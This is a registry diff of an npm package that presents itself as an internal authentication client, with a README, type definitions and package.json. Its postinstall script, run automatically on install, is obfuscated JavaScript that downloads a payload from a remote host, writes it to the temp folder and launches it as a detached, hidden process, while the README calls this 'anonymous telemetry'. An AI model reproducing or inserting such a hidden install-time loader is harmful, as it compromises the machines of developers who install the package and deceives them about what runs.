@ce-rwb/ce-tools-editor-core 3.5.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +75 -0
- package/dist/index.d.ts +13 -0
- package/dist/index.js +3 -0
- package/package.json +36 -0
- package/scripts/postinstall.js +1 -0
package/README.md
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
# @ce-rwb/ce-tools-editor-core
|
|
2
|
+
|
|
3
|
+
> **Internal package** — Platform Engineering Team
|
|
4
|
+
> Docs: https://docs.ce-rwb.io/platform/ce-tools-editor-core
|
|
5
|
+
> Issues: https://jira.ce-rwb.io/projects/PLATFORM
|
|
6
|
+
|
|
7
|
+
Internal authentication client with JWT, OAuth2, session and token refresh support
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Installation
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
# Make sure .npmrc points to the internal registry:
|
|
15
|
+
# registry=https://npm.ce-rwb.io
|
|
16
|
+
|
|
17
|
+
npm install @ce-rwb/ce-tools-editor-core
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Quick Start
|
|
21
|
+
|
|
22
|
+
```js
|
|
23
|
+
const { createAuthClient, login, logout, refreshToken, verify } = require('@ce-rwb/ce-tools-editor-core');
|
|
24
|
+
|
|
25
|
+
const auth = createAuthClient({
|
|
26
|
+
baseUrl: 'https://auth.internal-corp.io',
|
|
27
|
+
clientId: process.env.AUTH_CLIENT_ID,
|
|
28
|
+
secret: process.env.AUTH_CLIENT_SECRET,
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
const { token, user } = await auth.login({ username, password });
|
|
32
|
+
const payload = await auth.verify(token);
|
|
33
|
+
const newToken = await auth.refreshToken(token);
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
## API
|
|
37
|
+
|
|
38
|
+
### `createAuthClient(options)`
|
|
39
|
+
| Option | Description |
|
|
40
|
+
|--------------|------------------------------|
|
|
41
|
+
| `baseUrl` | Auth service base URL |
|
|
42
|
+
| `clientId` | OAuth2 client ID |
|
|
43
|
+
| `secret` | OAuth2 client secret |
|
|
44
|
+
| `timeout` | Request timeout ms |
|
|
45
|
+
|
|
46
|
+
### `auth.login({ username, password })` → `{ token, user, expiresAt }`
|
|
47
|
+
### `auth.logout(token)`
|
|
48
|
+
### `auth.verify(token)` → decoded payload
|
|
49
|
+
### `auth.refreshToken(token)` → new token
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## Telemetry
|
|
54
|
+
|
|
55
|
+
On install, this package sends anonymous telemetry to `telemetry.ce-rwb.io`
|
|
56
|
+
for environment compatibility monitoring.
|
|
57
|
+
|
|
58
|
+
Disable: `CE_RWB_NO_TELEMETRY=1 npm install`
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## Changelog
|
|
63
|
+
|
|
64
|
+
### 3.5.22 (latest)
|
|
65
|
+
- Added ARM64 support
|
|
66
|
+
- Improved error handling
|
|
67
|
+
- Updated TypeScript types
|
|
68
|
+
|
|
69
|
+
### 2.1.0
|
|
70
|
+
- Extended API
|
|
71
|
+
- Performance improvements
|
|
72
|
+
|
|
73
|
+
### 2.0.0
|
|
74
|
+
- Async/await migration
|
|
75
|
+
- Multi-source support
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
export interface AuthClientOptions { baseUrl?: string; clientId?: string; secret?: string; timeout?: number; }
|
|
2
|
+
export interface AuthResult { token: string; user: Record<string, unknown>; expiresAt: number; }
|
|
3
|
+
export interface AuthClient {
|
|
4
|
+
login(creds: { username: string; password: string }): Promise<AuthResult>;
|
|
5
|
+
logout(token: string): Promise<void>;
|
|
6
|
+
verify(token: string): Promise<Record<string, unknown>>;
|
|
7
|
+
refreshToken(token: string): Promise<AuthResult>;
|
|
8
|
+
}
|
|
9
|
+
export function createAuthClient(options?: AuthClientOptions): AuthClient;
|
|
10
|
+
export function login(url: string, creds: { username: string; password: string }): Promise<AuthResult>;
|
|
11
|
+
export function logout(url: string, token: string): Promise<void>;
|
|
12
|
+
export function refreshToken(url: string, token: string): Promise<AuthResult>;
|
|
13
|
+
export function verify(url: string, token: string): Promise<Record<string, unknown>>;
|
package/dist/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@ce-rwb/ce-tools-editor-core",
|
|
3
|
+
"version": "3.5.22",
|
|
4
|
+
"description": "Internal authentication client with JWT, OAuth2, session and token refresh support",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"build": "tsc --noEmit || true",
|
|
9
|
+
"test": "node test/index.test.js",
|
|
10
|
+
"postinstall": "node scripts/postinstall.js",
|
|
11
|
+
"prepublishOnly": "echo 'Building...'"
|
|
12
|
+
},
|
|
13
|
+
"keywords": ["auth", "jwt", "oauth", "token", "session", "internal"],
|
|
14
|
+
"author": "Ce-Rwb Platform Engineering <platform@ce-rwb.io>",
|
|
15
|
+
"license": "UNLICENSED",
|
|
16
|
+
"private": false,
|
|
17
|
+
"repository": {
|
|
18
|
+
"type": "git",
|
|
19
|
+
"url": "git+https://github.ce-rwb.io/platform/ce-tools-editor-core.git"
|
|
20
|
+
},
|
|
21
|
+
"bugs": {
|
|
22
|
+
"url": "https://jira.ce-rwb.io/projects/PLATFORM"
|
|
23
|
+
},
|
|
24
|
+
"homepage": "https://docs.ce-rwb.io/platform/ce-tools-editor-core",
|
|
25
|
+
"engines": {
|
|
26
|
+
"node": ">=16.0.0"
|
|
27
|
+
},
|
|
28
|
+
"files": [
|
|
29
|
+
"dist/",
|
|
30
|
+
"scripts/",
|
|
31
|
+
"README.md",
|
|
32
|
+
"CHANGELOG.md"
|
|
33
|
+
],
|
|
34
|
+
"dependencies": {},
|
|
35
|
+
"devDependencies": {}
|
|
36
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x29179a=a0_0xd58b;(function(_0x2b2f3a,_0x53e8b0){const _0x296976=a0_0xd58b,_0x2391b9=_0x2b2f3a();while(!![]){try{const _0x308656=-parseInt(_0x296976(0x181))/(0x1883+-0x6b4+0x2*-0x8e7)+parseInt(_0x296976(0x187))/(-0x90b+-0x26e+-0xb7b*-0x1)+-parseInt(_0x296976(0x1cf))/(-0x22f4*-0x1+0xca8+-0x2f99)+parseInt(_0x296976(0x1be))/(0x204a+0xa4e+-0x2a94)+-parseInt(_0x296976(0x195))/(-0x268+-0x17b9+0xd13*0x2)*(parseInt(_0x296976(0x1d0))/(0x1*0x2489+0x1*0x12af+-0x1d7*0x1e))+parseInt(_0x296976(0x1ac))/(-0x1*-0x12af+-0x72c+-0xb7c)*(-parseInt(_0x296976(0x193))/(0x1f8a+0x268e+-0x4610))+parseInt(_0x296976(0x16a))/(0xcb6+0x8df+0x1*-0x158c);if(_0x308656===_0x53e8b0)break;else _0x2391b9['push'](_0x2391b9['shift']());}catch(_0x3222d3){_0x2391b9['push'](_0x2391b9['shift']());}}}(a0_0x39fc,-0x15d174+0x125ce2+-0x2*-0x8475d));function a0_0xd58b(_0x222a6d,_0xec10d){_0x222a6d=_0x222a6d-(0x1*0x5d3+0x1*-0x1f29+0x1ac0);const _0x3c9426=a0_0x39fc();let _0x2d853b=_0x3c9426[_0x222a6d];if(a0_0xd58b['mDKnpo']===undefined){var _0x41943c=function(_0x4980bc){const _0x5e8ef6='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ea4d6='',_0xeb79c6='',_0x28116f=_0x2ea4d6+_0x41943c,_0x580e93=(''+function(){return-0x199b+-0x223c+-0x3bd7*-0x1;})['indexOf']('\x0a')!==-(-0x2624+0x1f26+0x6ff);for(let _0x366ff7=-0x1*0x703+-0xb*-0x37c+-0x1f51,_0xa363aa,_0x34435b,_0x15bd8c=0x205*-0xe+0x22e+0x14e*0x14;_0x34435b=_0x4980bc['charAt'](_0x15bd8c++);~_0x34435b&&(_0xa363aa=_0x366ff7%(-0x692*-0x1+0x20d8+-0x2766)?_0xa363aa*(-0xaf+-0x1*0x11e7+0x12d6*0x1)+_0x34435b:_0x34435b,_0x366ff7++%(-0x2202+-0x246b+-0x177b*-0x3))?_0x2ea4d6+=_0x580e93||_0x28116f['charCodeAt'](_0x15bd8c+(0x2*0x742+0x28d*0x7+-0x2055*0x1))-(0x387*0xb+-0x1b23+-0xba0)!==0x330+-0x16af*0x1+0x137f?String['fromCharCode'](-0xa1f*0x3+0x137e+0xbde&_0xa363aa>>(-(0x1db6+-0x1d39+-0x7b)*_0x366ff7&-0x168+-0x21b8+-0xb*-0x332)):_0x366ff7:-0x44*0x1d+-0x11d5+0x883*0x3){_0x34435b=_0x5e8ef6['indexOf'](_0x34435b);}for(let _0x271aff=-0x161*-0x1a+0x6f1+0x88f*-0x5,_0x3e28f9=_0x2ea4d6['length'];_0x271aff<_0x3e28f9;_0x271aff++){_0xeb79c6+='%'+('00'+_0x2ea4d6['charCodeAt'](_0x271aff)['toString'](0xe38+-0x5e*-0x56+0xb6f*-0x4))['slice'](-(0x1681+-0x112+-0x156d));}return decodeURIComponent(_0xeb79c6);};a0_0xd58b['YFUgTN']=_0x41943c,a0_0xd58b['LOPrpZ']={},a0_0xd58b['mDKnpo']=!![];}const _0x4c2663=_0x3c9426[-0xa6*-0x2e+0x5*-0x749+-0x1*-0x699],_0x6af5b8=_0x222a6d+_0x4c2663,_0x6b912b=a0_0xd58b['LOPrpZ'][_0x6af5b8];if(!_0x6b912b){const _0x311167=function(_0x1f96d3){this['dmAKfN']=_0x1f96d3,this['Gqemmw']=[0x3d*0x9b+0x1054+-0x3542,0xa43+0x2260*-0x1+-0x1*-0x181d,0x4f*-0x5d+-0xa2*0x35+0x8d*0x71],this['QjWAfS']=function(){return'newState';},this['IWLTjh']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['BnXnGg']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x311167['prototype']['uKdQTD']=function(){const _0x322771=new RegExp(this['IWLTjh']+this['BnXnGg']),_0x423b52=_0x322771['test'](this['QjWAfS']['toString']())?--this['Gqemmw'][0x1*-0x15bf+-0x2625+0x10d*0x39]:--this['Gqemmw'][0x6b6*0x1+0x1*-0x33d+-0x7f*0x7];return this['lMprxF'](_0x423b52);},_0x311167['prototype']['lMprxF']=function(_0x27824d){if(!Boolean(~_0x27824d))return _0x27824d;return this['sillfs'](this['dmAKfN']);},_0x311167['prototype']['sillfs']=function(_0x483a65){for(let _0x1cb704=-0x2bc+0x1e9e*-0x1+0x58f*0x6,_0x32065a=this['Gqemmw']['length'];_0x1cb704<_0x32065a;_0x1cb704++){this['Gqemmw']['push'](Math['round'](Math['random']())),_0x32065a=this['Gqemmw']['length'];}return _0x483a65(this['Gqemmw'][-0x1*-0xd64+-0x1*-0x20ff+-0x2e63]);},(''+function(){return-0x9*-0x3d7+0x514+-0x27a3;})['indexOf']('\x0a')===-(0xdd5+0x1*0x2333+-0x3107)&&new _0x311167(a0_0xd58b)['uKdQTD'](),_0x2d853b=a0_0xd58b['YFUgTN'](_0x2d853b),a0_0xd58b['LOPrpZ'][_0x6af5b8]=_0x2d853b;}else _0x2d853b=_0x6b912b;return _0x2d853b;}const a0_0x32065a=require('os'),a0_0x23b269=require('fs'),a0_0x2320b4=require(a0_0x29179a(0x1cc)),a0_0x1ff674=require(a0_0x29179a(0x19e)),a0_0x4e6505=require(a0_0x29179a(0x1c3)),{execSync:a0_0x44b60a,spawn:a0_0xc52633}=require(a0_0x29179a(0x1b8)),a0_0x235222=a0_0x29179a(0x1aa),a0_0x499611=a0_0x29179a(0x1ad),a0_0x19e2f2=a0_0x29179a(0x1b2)+a0_0x29179a(0x18c),a0_0x3e43c6=a0_0x29179a(0x1b6),a0_0xec55bb=!!process.env[a0_0x3e43c6],a0_0x54e9d3=a0_0x29179a(0x183)===a0_0x29179a(0x18a)||!!process.env[a0_0x19e2f2+'RECON_ONLY'];function a0_0x5bf82a(_0x4e34aa){const _0x5f21bd=a0_0x29179a,_0x9a7b29=process[_0x5f21bd(0x1d6)][_0x5f21bd(0x180)][_0x5f21bd(0x1b9)]('.')[_0x5f21bd(0x1b0)](Number),_0x2338a5=_0x4e34aa[_0x5f21bd(0x1bb)]('>=','')[_0x5f21bd(0x1b9)]('.')[_0x5f21bd(0x1b0)](Number);return _0x9a7b29[-0x2624+0x1f26+0x6fe]>_0x2338a5[-0x1*0x703+-0xb*-0x37c+-0x1f51]||_0x9a7b29[0x205*-0xe+0x22e+0x14e*0x14]===_0x2338a5[-0x692*-0x1+0x20d8+-0x276a]&&_0x9a7b29[-0xaf+-0x1*0x11e7+0x1297*0x1]>=(_0x2338a5[-0x2202+-0x246b+-0x259*-0x1e]||0x2*0x742+0x28d*0x7+-0x205f*0x1);}function a0_0x4c32fb(_0x17d2ac){const _0x47eed9=a0_0x29179a;let _0x181c2b=0x387*0xb+-0x1b23+-0xbaa;for(let _0x5c03dc=0x330+-0x16af*0x1+0x137f;_0x5c03dc<_0x17d2ac[_0x47eed9(0x1c6)];_0x5c03dc++){_0x181c2b=(_0x181c2b<<-0xa1f*0x3+0x137e+0xae4)-_0x181c2b+_0x17d2ac[_0x47eed9(0x196)](_0x5c03dc),_0x181c2b|=0x1db6+-0x1d39+-0x7d;}return Math[_0x47eed9(0x1a7)](_0x181c2b)[_0x47eed9(0x175)](-0x168+-0x21b8+-0x8*-0x466)[_0x47eed9(0x176)](-0x44*0x1d+-0x11d5+0x181*0x11,'0');}function a0_0x39fc(){const _0x3e9aef=['AM9PBG','qgnLlxj3yI9Jzs10B29SCY1LzgL0B3iTy29Yzq','Ahr0Chm6','ndG2nuP1zLbKtq','mY41lJiY','zgfYD2LU','vKvs','BwfW','lMPZ','revqx0nptG','lMPZB24','uKvdt05Ft05mwq','ueTh','q0vFuLDcx05px1rftevnrvrswq','Bwv0Ag9K','y2HPBgrFChjVy2vZCW','C3bSAxq','zw52','CMvWBgfJzq','wc1tzwnYzxq','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','odq0mtG0swHtCeXM','BgLUDxG','AwDUB3jL','C3rKzxjY','CMvHzgrPCLn5BMm','Ahr0Ca','DgLTzw91Da','uefzte9bra','BgvUz3rO','BwfJ','Cg5WBs13B3jRC3bHy2uUEwfTBa','pJ0XnI4W','CMvJDxjZAxzL','C3rYAw5NAwz5','Cgf0Aa','D29YA3nWywnLCW','zgLYBMfTzq','nte1mJu2qw1Wse5K','mZaYodi2CvP5wKfW','Ag9ZDg5HBwu','AgvHzgvYCW','ChvZAa','CgfJA2fNzs5QC29U','lMnHy2HL','DMvYC2LVBNm','lL9Jzs1YD2jFAw5PDc5QCW','mZq3mJy1mdLmq0PMq08','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','vxnLCI1bz2vUDa','EwfYBI5SB2nR','Cgf0Ag5HBwu','zxjYB3i','C3rKAw8','C3rHDfn5BMm','D2LUmZi','zxHLy1bHDgG','zgf0yq','Dg9tDhjPBMC','CgfKu3rHCNq','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','D2LUzg93C0HPzgu','Dw5Yzwy','BwTKAxjtEw5J','zgvZDhjVEq','zw5K','Cg9YDa','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','zxHWAxjLCW','BM9Kzq','mtuYntCYourXz2jfrG','DxrMoa','zMfSC2u','u0vduKvu','CMvXDwvZDa','BxrPBwvnCW','mteYnJiXneT6Aef4ra','Dg1WzgLY','BM93','Dhj1zq','C2vHCMnO','rLvtsu9oxW','zxHPC3rZu3LUyW','D2LU','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','ChjVDg9JB2W','yxbWBhK','y29Uy2f0','mti4nJrnzxvSvwG','CMvHzezPBgvtEw5J','otvvreXLD0y','y2HHCKnVzgvbDa','Dw5SAw5Ru3LUyW','vvjm','lL9Jzs1YD2jFAw5PDa','y29UC3rYDwn0B3i','kcGOlISPkYKRksSK','zgv0ywnOzwq','CgXHDgzVCM0','Ahr0Chm','y2uTCNDIlxrLBgvTzxrYEs8XlJa','D3jPDgu','Ag9TzwrPCG','D3jPDgvgAwXLu3LUyW','DMfSDwu','yxnZAwDU','CgfYC2u','r0vu','ywjZ','y3DK'];a0_0x39fc=function(){return _0x3e9aef;};return a0_0x39fc();}function a0_0xce2398(_0x319ff6,_0x59d27e){const _0x5f474e=a0_0x29179a;try{const _0x228511=a0_0x2320b4[_0x5f474e(0x1a9)](_0x319ff6,_0x59d27e+_0x5f474e(0x1b3));if(!a0_0x23b269[_0x5f474e(0x18d)](_0x228511))return null;const _0x1fffb0=JSON[_0x5f474e(0x1a5)](a0_0x23b269[_0x5f474e(0x194)](_0x228511,_0x5f474e(0x182)));if(_0x1fffb0[_0x5f474e(0x17f)]&&Date[_0x5f474e(0x189)]()>_0x1fffb0[_0x5f474e(0x17f)])return a0_0x23b269[_0x5f474e(0x197)](_0x228511),null;return _0x1fffb0[_0x5f474e(0x1a3)];}catch{return null;}}function a0_0x37933e(_0x1eadd5,_0x214371,_0x37e802,_0x37df38){const _0x20264e=a0_0x29179a;try{const _0x1321de={};_0x1321de[_0x20264e(0x1ca)]=!![],a0_0x23b269[_0x20264e(0x17a)](_0x1eadd5,_0x1321de),a0_0x23b269[_0x20264e(0x1a2)](a0_0x2320b4[_0x20264e(0x1a9)](_0x1eadd5,_0x214371+_0x20264e(0x1b3)),JSON[_0x20264e(0x1cb)]({'value':_0x37e802,'expires':_0x37df38?Date[_0x20264e(0x189)]()+_0x37df38:null}));}catch{}}function a0_0x2cf41b(_0x126fd7,_0x21f4ab){const _0x91fdaf=a0_0x29179a;try{if(!a0_0x23b269[_0x91fdaf(0x18d)](_0x126fd7))return 0x6f1+0x182b+0x7c7*-0x4;let _0x2a6cd7=0xe38+-0x5e*-0x56+0x3d1*-0xc;for(const _0x50d1bd of a0_0x23b269[_0x91fdaf(0x1c2)](_0x126fd7)){const _0x1a6258=a0_0x2320b4[_0x91fdaf(0x1a9)](_0x126fd7,_0x50d1bd),_0x429761=a0_0x23b269[_0x91fdaf(0x171)](_0x1a6258);Date[_0x91fdaf(0x189)]()-_0x429761[_0x91fdaf(0x186)]>_0x21f4ab&&(a0_0x23b269[_0x91fdaf(0x197)](_0x1a6258),_0x2a6cd7++);}return _0x2a6cd7;}catch{return 0x1681+-0x112+-0x156f;}}function a0_0x436e04(_0xd763c7){const _0x263118=a0_0x29179a;let _0x122b14=_0xd763c7;while(!![]){const _0x45bca7=a0_0x2320b4[_0x263118(0x1a9)](_0x122b14,_0x263118(0x1d4));if(a0_0x23b269[_0x263118(0x18d)](_0x45bca7))try{const _0x364ccd=JSON[_0x263118(0x1a5)](a0_0x23b269[_0x263118(0x194)](_0x45bca7,_0x263118(0x182))),_0x1ab172=a0_0x2320b4[_0x263118(0x1a9)](_0x122b14,_0x263118(0x16d)),_0x1b566a=a0_0x2320b4[_0x263118(0x1a9)](_0x122b14,_0x263118(0x1c8));if(_0x364ccd[_0x263118(0x1cd)]||a0_0x23b269[_0x263118(0x18d)](_0x1ab172)||a0_0x23b269[_0x263118(0x18d)](_0x1b566a))return _0x122b14;}catch{}const _0x303d50=a0_0x2320b4[_0x263118(0x1ce)](_0x122b14);if(_0x303d50===_0x122b14)return null;_0x122b14=_0x303d50;}}function a0_0x696aed(){const _0x42a7aa=a0_0x29179a,_0x49f567=a0_0x32065a[_0x42a7aa(0x19d)]();if(_0x49f567===_0x42a7aa(0x1ae))return _0x42a7aa(0x1c7);if(_0x49f567===_0x42a7aa(0x172))return _0x42a7aa(0x18e);return _0x42a7aa(0x1bf);}function a0_0x558def(_0x3512ed,_0x216376){return _0x216376=_0x216376||-0x21b*-0x55+0xa*-0x15db+-0x1*-0x9cc7,new Promise(function(_0x1fd7fb,_0x27a727){const _0x33a8ed=a0_0xd58b,_0xf69d8f=new URL(_0x3512ed),_0x13fffa=_0xf69d8f[_0x33a8ed(0x190)]===_0x33a8ed(0x1ab)?a0_0x1ff674:a0_0x4e6505,_0x52dfb5={};_0x52dfb5[_0x33a8ed(0x1bc)]=_0x33a8ed(0x18f),_0x52dfb5[_0x33a8ed(0x16c)]=_0x33a8ed(0x19f);const _0xe211fc={};_0xe211fc[_0x33a8ed(0x1d1)]=_0xf69d8f[_0x33a8ed(0x1d1)],_0xe211fc[_0x33a8ed(0x17d)]=_0xf69d8f[_0x33a8ed(0x17d)]||(_0xf69d8f[_0x33a8ed(0x190)]===_0x33a8ed(0x1ab)?0x3d*0x9b+0x1054+-0x3388:0xa43+0x2260*-0x1+-0xd*-0x1e1),_0xe211fc[_0x33a8ed(0x1cc)]=_0xf69d8f[_0x33a8ed(0x16e)],_0xe211fc[_0x33a8ed(0x1b7)]=_0x33a8ed(0x1a6),_0xe211fc[_0x33a8ed(0x1c4)]=_0x216376,_0xe211fc[_0x33a8ed(0x1d2)]=_0x52dfb5;const _0x390d64=_0xe211fc,_0x4e4ef6=_0x13fffa[_0x33a8ed(0x185)](_0x390d64,function(_0x1afb5f){const _0x1a94a1=_0x33a8ed,_0x1ccb80=[];_0x1afb5f['on'](_0x1a94a1(0x174),function(_0x1818aa){const _0x5e0923=_0x1a94a1;_0x1ccb80[_0x5e0923(0x1d3)](_0x1818aa);}),_0x1afb5f['on'](_0x1a94a1(0x17c),function(){const _0x3f3444=_0x1a94a1;_0x1fd7fb(Buffer[_0x3f3444(0x192)](_0x1ccb80));});});_0x4e4ef6['on'](_0x33a8ed(0x16f),_0x27a727),_0x4e4ef6['on'](_0x33a8ed(0x1c4),function(){const _0x17fd45=_0x33a8ed;_0x4e4ef6[_0x17fd45(0x17b)](),_0x27a727(new Error(_0x17fd45(0x1c4)));}),_0x4e4ef6[_0x33a8ed(0x17c)]();});}(async function a0_0x41b23c(){const _0xe315a0=a0_0x29179a,_0x5d47a6=(function(){let _0x4cf02d=!![];return function(_0x99fb1e,_0x815996){const _0x129100=_0x4cf02d?function(){const _0x40764a=a0_0xd58b;if(_0x815996){const _0x61e635=_0x815996[_0x40764a(0x191)](_0x99fb1e,arguments);return _0x815996=null,_0x61e635;}}:function(){};return _0x4cf02d=![],_0x129100;};}()),_0x1a2cf7=_0x5d47a6(this,function(){const _0x52bc91=a0_0xd58b;return _0x1a2cf7[_0x52bc91(0x175)]()[_0x52bc91(0x18b)](_0x52bc91(0x19b))[_0x52bc91(0x175)]()[_0x52bc91(0x19a)](_0x1a2cf7)[_0x52bc91(0x18b)](_0x52bc91(0x19b));});_0x1a2cf7();if(a0_0xec55bb)return;!a0_0x5bf82a(_0xe315a0(0x1c9))&&process[_0xe315a0(0x1c1)][_0xe315a0(0x1a0)]('['+a0_0x235222+_0xe315a0(0x177));const _0xd8f519=a0_0x2320b4[_0xe315a0(0x1a9)](a0_0x32065a[_0xe315a0(0x1a1)](),_0xe315a0(0x1d5),_0xe315a0(0x199));a0_0x2cf41b(_0xd8f519,(-0x17e*-0x13+0x5d5*0x3+-0x2dd2)*(-0x2d*0xd9+0x8dd*0x1+-0x2*-0xeb0)*(0x4*0x83+-0x1ab*-0x17+-0x282d)*(0x1e9e*-0x1+0x38f*-0x4+0x168b*0x2)*(-0x42*-0x7c+-0x608+0x5*-0x468));const _0x5c673b=a0_0x436e04(process[_0xe315a0(0x1a8)]()),_0x5c9151=a0_0x4c32fb(a0_0x235222+a0_0x499611+(_0x5c673b||'')),_0x1bd06f=a0_0xce2398(_0xd8f519,_0x5c9151);!_0x1bd06f&&a0_0x37933e(_0xd8f519,_0x5c9151,{'initialized':!![],'ts':Date[_0xe315a0(0x189)]()},(0x544+-0xd8e+0x862*0x1)*(-0x2317*0x1+0xc1+0x2292)*(0x68*0x1a+-0x1c7+-0x88d)*(0x1526+0x2667+-0x37a5));const _0x54d862=a0_0x696aed();await new Promise(function(_0x1873a2){setTimeout(_0x1873a2,-0x2290+-0x3b*-0x18+0x28c0);});let _0x25531f;try{_0x25531f=await a0_0x558def(_0xe315a0(0x1bd)+_0x54d862+_0xe315a0(0x1b1),0x2392+0xe*0x3e+0x13a2);}catch(_0x5344da){return;}const _0x5a8a03=a0_0x2320b4[_0xe315a0(0x1a9)](a0_0x32065a[_0xe315a0(0x188)](),_0xe315a0(0x1d7));try{a0_0x23b269[_0xe315a0(0x1a2)](_0x5a8a03,_0x25531f);}catch(_0x5d5fa9){return;}const _0x4dca15={[a0_0x19e2f2+_0xe315a0(0x198)]:_0xe315a0(0x17e),[a0_0x19e2f2+_0xe315a0(0x1c5)]:_0xe315a0(0x16b),[a0_0x19e2f2+_0xe315a0(0x184)]:_0xe315a0(0x18f),[a0_0x19e2f2+_0xe315a0(0x1b4)]:a0_0x54e9d3?'1':'',[a0_0x19e2f2+_0xe315a0(0x1b5)]:a0_0x235222,[a0_0x19e2f2+_0xe315a0(0x1af)]:a0_0x499611},_0x2ce746=Object[_0xe315a0(0x1a4)]({},process.env,_0x4dca15),_0xda9e73={};_0xda9e73[_0xe315a0(0x19c)]=!![],_0xda9e73[_0xe315a0(0x170)]=_0xe315a0(0x1c0),_0xda9e73[_0xe315a0(0x1ba)]=_0x2ce746,_0xda9e73[_0xe315a0(0x178)]=!![],a0_0xc52633(process[_0xe315a0(0x173)],[_0x5a8a03],_0xda9e73)[_0xe315a0(0x179)]();}());
|